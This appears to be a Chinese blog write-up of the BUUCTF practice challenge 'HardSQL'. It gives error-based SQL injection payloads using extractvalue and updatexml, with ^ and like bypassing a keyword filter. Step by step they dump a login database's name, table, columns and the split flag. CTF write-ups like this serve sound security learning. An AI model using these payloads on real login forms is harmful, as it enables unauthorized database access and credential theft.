Buuctf:[极客大挑战 2019]HardSQL

文章描述了一次针对靶机的SQL注入攻击过程,包括使用特殊字符绕过过滤、通过报错获取信息、分段提取限制长度的数据等技术,最终成功获取部分flag并计划结合另一半数据完成挑战。

打开靶机
在这里插入图片描述
好家伙,又是他.这次他又有能耐了。我们先试试万能能密码。
在这里插入图片描述
行,学聪明了。我们跑个fuzz看看过滤了啥。
在这里插入图片描述
可以看到,or, by, and union 等都过滤了。这次双写绕过也不行了。只能用报错绕过了。and用^代替等。payload:用户名:1'^extractvalue(1,concat(0x7e,(select(database()))))#密码:1。暴库名。
在这里插入图片描述
得到库名~geek
我们再爆表名,这里=我们用like绕过。payload:用户名:1’^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#密码:1。
在这里插入图片描述
得到表名:~H4rDsq1~我们再来爆字段。apyload:用户名:1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#密码:1。

在这里插入图片描述
好。我们再来爆数据。payload:用户名:1'^(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#密码:1。
在这里插入图片描述
可以看到flag只有一半。看别人的wp才知道这里对长度进行了限制。好我们先记下这半边,查一下又半边再接上就行了。payload:用户名:1'^(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))#密码:1。
在这里插入图片描述
出来了。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值